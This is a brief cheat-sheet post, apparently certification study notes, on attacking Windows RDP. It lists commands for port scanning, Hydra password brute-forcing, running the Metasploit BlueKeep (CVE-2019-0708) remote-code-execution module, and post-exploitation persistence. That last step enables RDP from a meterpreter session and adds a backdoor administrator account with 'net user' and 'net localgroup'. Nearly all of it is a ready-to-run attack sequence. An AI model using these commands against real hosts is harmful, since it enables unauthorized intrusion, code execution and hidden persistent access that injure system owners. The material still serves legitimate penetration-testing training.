Skip to content
Home

RDP exploitation: brute-force, BlueKeep, and enabling RDP post-exploitation

Credential attacks against RDP, BlueKeep check, and using Metasploit post-modules to enable/backdoor RDP on a compromised host.

bash·1 min read··INE Certification

RDP (TCP 3389 by default, often moved to a non-standard port) has two exploitation paths: credential brute-force, and BlueKeep if the target is pre-2019 and unpatched. Post-exploitation, enabling RDP is also a persistence technique.

Enumerate

nmap -sS -sV -p- <target_ip>                         # full port sweep as RDP may not be on 3389
use auxiliary/scanner/rdp/rdp_scanner                 # confirm RDP
set RPORT <found_port>

Brute-force credentials

hydra -L users.txt -P passwords.txt rdp://<target_ip> -s <port>

BlueKeep (CVE-2019-0708) for Windows ≤ Server 2008 R2

use auxiliary/scanner/rdp/cve_2019_0708_bluekeep       # check
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
show targets                                           # match target ID to OS version or expect a BSOD

See the BlueKeep snippet for the full exploit walkthrough and target-selection warning.

Connect with valid credentials

xfreerdp /u:<user> /p:<password> /v:<target_ip>:<port>

Enable RDP on a compromised host (post-exploitation persistence)

# From a meterpreter session
use post/windows/manage/enable_rdp
set SESSION <id>
run

# Then add a user for the backdoor
use post/windows/manage/add_user
# or from a Windows shell:
net user <newuser> <password> /add
net localgroup administrators <newuser> /add
xfreerdp /u:<newuser> /p:<password> /v:<target_ip>

RDP requires a cleartext password, same as SMB.